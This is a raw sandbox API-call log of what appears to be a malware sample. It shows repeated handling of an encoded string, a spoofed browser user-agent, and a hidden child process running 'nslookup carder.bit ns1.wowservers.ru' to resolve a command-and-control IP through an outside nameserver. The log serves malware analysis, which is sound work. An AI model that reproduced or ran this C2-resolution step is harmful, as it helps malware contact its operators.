	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.046] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0137.047] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0137.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x180000
	[0137.048] lstrlenW (lpString="") returned 0
	[0137.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0137.048] CreatePipe (in: hReadPipe=0xcf3d1c, hWritePipe=0xcf3d18, lpPipeAttributes=0x253f8f8, nSize=0x0 | out: hReadPipe=0xcf3d1c*=0x3cc, hWritePipe=0xcf3d18*=0x3d0) returned 1
	[0137.048] SetHandleInformation (hObject=0x3cc, dwMask=0x1, dwFlags=0x0) returned 1
	[0137.048] CreatePipe (in: hReadPipe=0xcf3d14, hWritePipe=0xcf3d20, lpPipeAttributes=0x253f8f8, nSize=0x0 | out: hReadPipe=0xcf3d14*=0x3b0, hWritePipe=0xcf3d20*=0x3d4) returned 1
	[0137.048] SetHandleInformation (hObject=0x3d4, dwMask=0x1, dwFlags=0x0) returned 1
	[0137.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0137.048] wsprintfW (in: param_1=0x2e0000, param_2="nslookup %S ns1.wowservers.ru" | out: param_1="nslookup carder.bit ns1.wowservers.ru") returned 37
	[0137.048] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup carder.bit ns1.wowservers.ru", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x253f888*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3b0, hStdOutput=0x3d0, hStdError=0x3d0), lpProcessInformation=0x253f8d0 | out: lpCommandLine="nslookup carder.bit ns1.wowservers.ru", lpProcessInformation=0x253f8d0*(hProcess=0x3ec, hThread=0x3e8, dwProcessId=0xb10, dwThreadId=0xb1c)) returned 1
	[0137.057] CloseHandle (hObject=0x3ec) returned 1
	[0137.057] CloseHandle (hObject=0x3e8) returned 1
	[0137.057] ReadFile (in: hFile=0x3cc, lpBuffer=0x253e8d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x253f8d4, lpOverlapped=0x0 | out: lpBuffer=0x253e8d4*, lpNumberOfBytesRead=0x253f8d4*=0x134, lpOverlapped=0x0) returned 1
	[0139.886] lstrlenA (lpString="Addresses:") returned 10
	[0139.886] lstrcpyA (in: lpString1=0x2d0000, lpString2="78.31.63.30" | out: lpString1="78.31.63.30") returned="78.31.63.30"
	[0139.886] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0139.886] lstrcmpiA (lpString1="78.31.63.30", lpString2="fabian wosar <3") returned -1
	[0139.886] wsprintfW (in: param_1=0x180000, param_2="%S" | out: param_1="78.31.63.30") returned 11
	[0139.902] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
